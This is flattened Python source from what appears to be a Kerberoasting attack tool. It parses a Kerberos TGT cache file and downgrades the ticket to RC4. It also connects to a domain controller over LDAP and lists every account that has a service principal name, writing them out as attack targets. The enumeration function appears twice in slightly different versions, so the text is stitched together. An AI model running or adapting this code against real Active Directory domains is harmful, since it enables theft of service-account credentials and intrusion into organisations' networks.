def Parse_TGT_File(self, tgt_file): WRITE_STDOUT("\n[+] Parsing TGT file '" + tgt_file + "'\n") tgt_cache_data = CCache.load(tgt_file) tgt_credentials = tgt_cache_data.credentials[0] self.user_account = "".join(tgt_credentials.client.components) self.realm = tgt_credentials.client.realm self.session_key = (int(tgt_credentials.key.keytype), str(tgt_credentials.key.keyvalue)) # in CCache format, cipher part is asn1 encoded self.tgt = decode(tgt_credentials.ticket, asn1Spec=Ticket())[0] WRITE_STDOUT(' [+] Extracting TGT and session key... Done!\n\n') if tgt_credentials.key.keytype != 23: WRITE_STDOUT("[+] Warning, encryption type is '" + dico_etypes[str(tgt_credentials.key.keytype)]\ + "' asking for a new TGT in RC4...\n") self.tgt = self.Ask_TGT_RC4()
def ldap_get_all_users_spn(AttackParameters, port): # build DN DN="DC="+",DC=".join(AttackParameters.realm.split('.')) # Kerberos authentication if AttackParameters.auth_gssapi : WRITE_STDOUT("\nConnecting to '" + AttackParameters.DC_addr \ + "' using ldap protocol and"\ + " Kerberos authentication!\n") WRITE_STDOUT(' [+] Creating ticket ccache file %r...' % ccache_file) cc = CCache((AttackParameters.realm, AttackParameters.user_account)) tgt_cred = kdc_rep2ccache(AttackParameters.as_data["as_rep"], AttackParameters.as_data["as_rep_enc"]) cc.add_credential(tgt_cred) cc.save(ccache_file) WRITE_STDOUT(' Done!\n') WRITE_STDOUT(' [+] Initiating ldap connection using ticket...') server = ldap3.Server(AttackParameters.DC_addr) c = ldap3.Connection(server, authentication=ldap3.SASL, sasl_mechanism='GSSAPI') WRITE_STDOUT(' Done!\n') # NTLM authentication else : WRITE_STDOUT("Connecting to '" + AttackParameters.DC_addr\ +"' using ldap protocol and NTLM authentication!\n") s = Server(AttackParameters.DC_addr, port=389, get_info=ALL) c = Connection(s, auto_bind=False, client_strategy=SYNC, user=AttackParameters.realm+"\\"+AttackParameters.user_account, password=AttackParameters.password, authentication=NTLM, check_names=True) # Now we should be connected to the DC through LDAP try : c.open() except : WRITE_STDOUT("ldap connection error: %s\n") sys.exit(1) try : r = c.bind() except: WRITE_STDOUT("Cannot connect to ldap, exiting.\n") sys.exit(1) # Query to find all accounts having a servicePrincipalName attributes_to_retrieve = [x.lower() for x in ATTRIBUTES_TO_RETRIEVE] c.search(DN, LDAP_QUERY, search_scope='SUBTREE', attributes = attributes_to_retrieve ) if not c.response: WRITE_STDOUT("Cannot find any SPN, wrong user/credentials?\n") sys.exit(1) WRITE_STDOUT(' [+] Retrieving all SPN and corresponding accounts...') # construct path to SPN_outfile to store LDAP response if AttackParameters.outputfile_path != None: outputfile_spn = "" dirname = os.path.dirname(AttackParameters.outputfile_path) # current dir if dirname == '': dirname = './' else: dirname = dirname + '/' filename = os.path.basename(AttackParameters.outputfile_path) filename = 'SPN_' + filename outputfile_spn = open(dirname + filename, 'w') # iterate through results to construc dico[{'attribute':'value'},{}, etc.] for each "{}" account dico_users_spn = [] for matching_object in c.response: if matching_object.has_key('attributes'): dico_account={} for attribute, value in matching_object['attributes'].items(): # delimiter of SPN is ';' in AD but ',' using ldap3 structures if attribute.lower() == "serviceprincipalname" and len(attribute) > 1: # only need one SPN for the attack value = value[0] if attribute.lower() in attributes_to_retrieve: if type(value) is int: dico_account[attribute.encode("utf8").lower()] = str(value) else: value = "".join(value).encode("utf8") dico_account[attribute.encode("utf8").lower()] = value.lower() dico_users_spn.append(dico_account) # Disconnecting from DC WRITE_STDOUT(' Done!\n') c.unbind() WRITE_STDOUT("Successfully disconnected from '"\ + AttackParameters.DC_addr + "'\n") # write to SPN_outputfile if AttackParameters.outputfile_path != None: for accounts in dico_users_spn: line_to_write = accounts['samaccountname']+'$'\ +accounts['serviceprincipalname'] if accounts.has_key('memberof'): line_to_write = line_to_write + '$' + accounts['memberof'] if accounts.has_key('primarygroupid'): line_to_write = line_to_write + '$primaryGroupID:'\ + accounts['primarygroupid'] outputfile_spn.write(line_to_write + '\n') outputfile_spn.close() return dico_users_spn
def ldap_get_all_users_spn(AttackParameters, port): # build DN DN = "DC=" + ",DC=".join(AttackParameters.realm.split('.')) # Kerberos authentication if AttackParameters.auth_gssapi: WRITE_STDERR(G + "\nConnecting to " + B + '\'' + AttackParameters.DC_addr \ + '\'' + W + G + " using ldap protocol and"\ + " Kerberos authentication!\n" + W) WRITE_STDERR(' [+] Creating ticket ccache file %r...' % ccache_file) cc = CCache((AttackParameters.realm, AttackParameters.user_account)) tgt_cred = kdc_rep2ccache(AttackParameters.as_data["as_rep"], AttackParameters.as_data["as_rep_enc"]) cc.add_credential(tgt_cred) cc.save(ccache_file) WRITE_STDERR(' Done!\n') WRITE_STDERR(' [+] Initiating ldap connection using ticket...') server = ldap3.Server(AttackParameters.DC_addr) c = ldap3.Connection(server, authentication=ldap3.SASL, sasl_mechanism='GSSAPI') WRITE_STDERR(' Done!\n') # NTLM authentication else: WRITE_STDERR(G + "Connecting to " + B + '\'' + AttackParameters.DC_addr + '\'' + W +\ G + " using ldap protocol and NTLM authentication!\n" + W) s = Server(AttackParameters.DC_addr, port=389, get_info=ALL) c = Connection(s, auto_bind=False, client_strategy=SYNC, user=AttackParameters.realm + "\\" + AttackParameters.user_account, password=AttackParameters.password, authentication=NTLM, check_names=True) # Now we should be connected to the DC through LDAP try: c.open() except ldap3.core.exceptions.LDAPSocketOpenError as e: WRITE_STDERR(R + "ldap connection error: %s\n" % e + W) exit() try: r = c.bind() except: WRITE_STDERR(R + "Cannot connect to ldap, exiting.\n" + W) exit() # Query to find all accounts having a servicePrincipalName attributes_to_retrieve = [x.lower() for x in ATTRIBUTES_TO_RETRIEVE] c.search(DN, LDAP_QUERY, search_scope='SUBTREE', attributes=attributes_to_retrieve) if not c.response: WRITE_STDERR(R + "Cannot find any SPN, wrong user/credentials?\n" + W) exit() WRITE_STDERR(' [+] Retrieving all SPN and corresponding accounts...') # construct path to SPN_outfile to store LDAP response outputfile_spn = "" dirname = os.path.dirname(AttackParameters.outputfile_path) # current dir if dirname == '': dirname = './' else: dirname = dirname + '/' filename = os.path.basename(AttackParameters.outputfile_path) filename = 'SPN_' + filename outputfile_spn = open(dirname + filename, 'w') # iterate through results to construc dico[{'attribute':'value'},{}, etc.] for each "{}" account dico_users_spn = [] for matching_object in c.response: if matching_object.has_key('attributes'): dico_account = {} for attribute, value in matching_object['attributes'].items(): # delimiter of SPN is ';' in AD but ',' using ldap3 structures if attribute.lower( ) == "serviceprincipalname" and len(attribute) > 1: # only need one SPN for the attack value = value[0] if attribute.lower() in attributes_to_retrieve: if type(value) is int: dico_account[attribute.encode("utf8").lower()] = str( value) else: value = "".join(value).encode("utf8") dico_account[attribute.encode( "utf8").lower()] = value.lower() dico_users_spn.append(dico_account) # Disconnecting from DC WRITE_STDERR(' Done!\n') c.unbind() WRITE_STDERR(G + "Successfully disconnected from "+ B + '\''\ + AttackParameters.DC_addr + '\'\n' + W) # write to SPN_outputfile for accounts in dico_users_spn: line_to_write = accounts['samaccountname']+'$'\ +accounts['serviceprincipalname'] if accounts.has_key('memberof'): line_to_write = line_to_write + '$' + accounts['memberof'] if accounts.has_key('primarygroupid'): line_to_write = line_to_write + '$primaryGroupID:'\ + accounts['primarygroupid'] outputfile_spn.write(line_to_write + '\n') outputfile_spn.close() return dico_users_spn